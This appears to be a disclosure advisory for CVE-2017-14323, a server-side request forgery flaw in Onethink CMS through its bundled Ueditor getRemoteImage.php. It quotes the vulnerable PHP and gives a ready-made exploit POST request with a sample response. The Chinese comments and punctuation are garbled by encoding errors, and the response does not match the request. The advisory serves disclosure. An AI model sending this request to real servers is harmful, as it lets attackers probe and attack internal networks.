Onethink CMS Server Side Request Forgery

                							

                # SSRFPS"Server Side Request ForgeryPS(c) in Onethink  All version (CVE-2017-14323)

The Onethink is an open source CMS(Content Management System).This system is based on the Thinkphp3.2 development framework. 

## Product Download: http://www.onethink.cn

## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

Onethink uses a Ueditor editor with a flawed version that causes the SSRF vulnerability to occur.

The vulnerability codePS"/Public/static/ueditor/php/getRemoteImage.phpPS(c):

    $uri = htmlspecialchars( $_POST[ 'upfile' ] );
    $uri = str_replace( "&" , "&" , $uri );
    getRemoteImage( $uri,$config );
    //echo($uri);

    /**
     * OP3IxY=E!
     * @param $uri
     * @param $config
     */
    function getRemoteImage( $uri,$config)
    {
        //ooAOxY=E!E+-1/4aIThOAE
        set_time_limit( 0 );
        //ue_separate_ue  ueOAOU'<<uUEy3/4U*O,i*uoA
        $imgUrls = explode( "ue_separate_ue" , $uri );
        $tmpNames = array();
        foreach ( $imgUrls as $imgUrl ) {
            //http?aI*NeO$?
            if(strpos($imgUrl,"http")!==0){
                array_push( $tmpNames , "error" );
                continue;
            }
            //echo($imgUrl);
            //>>nE!CeCoI*
            $heads = get_headers( $imgUrl );   //This is a blind ssrf 
            //EAA'1/4i2a
            if ( !( stristr( $heads[ 0 ] , "200" ) && stristr( $heads[ 0 ] , "OK" ) ) ) {
                array_push( $tmpNames , "error" );
                continue;
            }

            //,nE1/2NeO$?(A(c)O1AuNeO$?oIContent-TypeNeO$?)
            $fileType = strtolower( strrchr( $imgUrl , '.' ) );
            if ( !in_array( $fileType , $config[ 'allowFiles' ] ) || stristr( $heads[ 'Content-Type' ] , "image" ) ) {
                array_push( $tmpNames , "error" );
                continue;
            }
            //var_dump($tmpNames);

            //'o?aEa3o>>o3aCo2C/>>nE!OP3II1/4AE!
            ob_start();
            $context = stream_context_create(
                array (
                    'http' => array (
                        'follow_location' => false // don't follow redirects
                    )
                )
            );
            //CeE*+-PSphp.iniODuAfopen wrappersON3/41/4$?>>i
            readfile( $imgUrl,false,$context);    //vulnerability is here,request any http(s) url
            $img = ob_get_contents();
            ob_end_clean();

## Exploit

Request Content:

    POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1
    Host: target
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 37
    Connection: keep-alive
    
    upfile=https://www.google.com/?%23.jpg

Response Content:
    
    HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=utf-8
    Content-Length: 110

    {'url':'upload/43361505134158.jpg','tip':'OP3II1/4AE!xY=E!3E1|PS!','srcUrl':'http://www.baidu.com/?#.jpg'}

modify the above upfile parameterPS!example:

request http protocol: upfile=http://www.google.com

request https protocol: upfile=https://www.google.com

This vulnerability only use http!C/https protocol

this vulnerability  trigger need allow\_url\_fopen option is enable in php.iniPS!allow\_url\_fopen option defualt is enable.
## Versions

Onethink all version

## Impact

SSRF(Server Side Request Forgery) in Onethink V1.0 and V1.1 version allow remote attackers to information detection,internal network server attack.

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang &  National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14323



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